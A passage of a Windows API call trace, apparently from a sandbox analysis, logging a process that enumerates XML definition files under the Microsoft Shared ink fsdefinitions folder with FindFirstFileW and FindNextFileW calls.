ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0054.469] GetLastError () returned 0x12 [0054.469] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0054.469] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0054.470] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0054.470] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0054.470] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0054.470] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0054.470] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0054.470] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0054.470] GetLastError () returned 0x12 [0054.470] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0054.471] GetLastError () returned 0x12 [0054.471] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0054.471] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.471] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.471] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0054.471] GetLastError () returned 0x12 [0054.472] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0054.472] GetLastError () returned 0x12 [0054.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.472] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.472] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0054.472] GetLastError () returned 0x12 [0054.472] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0054.472] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.472] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.472] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0054.472] GetLastError () returned 0x12 [0054.472] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0054.472] GetLastError () returned 0x12 [0054.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.473] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.473] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0054.473] GetLastError () returned 0x12 [0054.473] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0054.473] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.473] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.473] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0054.473] GetLastError () returned 0x12 [0054.473] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0054.473] GetLastError () returned 0x12 [0054.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.473] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.473] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0054.473] GetLastError () returned 0x12 [0054.474] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0054.474] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.474] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.474] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0054.474] GetLastError () returned 0x12 [0054.474] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0054.474] GetLastError () returned 0x12 [0054.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.474] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.474] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0054.474] GetLastError () returned 0x12 [0054.474] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0054.474] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.474] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.474] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0054.474] GetLastError () returned 0x12 [0054.475] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0054.475] GetLastError () returned 0x12 [0054.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.475] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.475] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0054.475] GetLastError () returned 0x12 [0054.475] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0054.475] GetLastError () returned 0x12 [0054.475] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0054.475] GetLastError () returned 0x12 [0054.475] 